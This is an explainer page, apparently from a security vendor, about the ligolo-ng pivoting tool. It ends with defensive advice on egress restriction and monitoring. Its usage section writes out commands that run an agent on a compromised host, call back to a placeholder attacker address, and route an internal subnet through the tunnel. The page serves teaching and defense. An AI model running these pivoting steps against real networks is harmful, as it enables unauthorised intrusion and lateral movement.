What is ligolo-ng?

ligolo-ng is an open-source pivoting tool that exposes a compromised network through a virtual TUN interface on the attacker's machine. Instead of per-port forwards or wrapping every tool in proxychains, the attacker adds a route to the internal subnet and reaches it natively, as if directly connected. It runs an agent on the pivot and a proxy on the attacker side. Its ease and full-subnet access have made it a common modern alternative to SSH and chisel for pivoting.

HOW IT WORKS

01 How it works and payload

The typical flow:

- Attacker starts the proxy and creates the tunnel interface: `ligolo-ng proxy -selfcert` then bring up the `ligolo` interface.
- Run the agent on the pivot, calling back: `agent -connect ATTACKER-IP:11601`
- In the proxy console, start the tunnel and add a route to the internal subnet: `tunnel_start`, then `ip route add 10.10.0.0/24 dev ligolo`.
- The attacker now reaches `10.10.0.0/24` directly with any tool, no proxychains.

Documented techniques shown for defenders.

> NATIVE SUBNET ACCESS
>
> *ligolo-ng's appeal is the virtual interface: the internal subnet behaves like it is directly connected, so every tool works normally. That convenience is why it is widely used and why detecting the agent callback matters.*

HOW TO DEFEND

- Restrict egress so the pivot agent cannot call back to an external proxy.
- Segment so even a routed subnet exposes as little as possible.
- Monitor for the agent's outbound connection and for one internal host originating traffic to many others.
- Use application allow-listing to stop a dropped agent binary from running.
- Inspect outbound traffic and unusual long-lived connections at egress points.

SOURCES

[1] MITRE ATT&CK: Lateral Movement (TA0008)

[2] NIST SP 800-115 Technical Guide to Security Testing

[3] Linux man-pages: ssh(1)

Find the lateral-movement paths before an attacker does.

securelayer7.net/learn/lateral-movement/what-is-ligolo-ng

Open online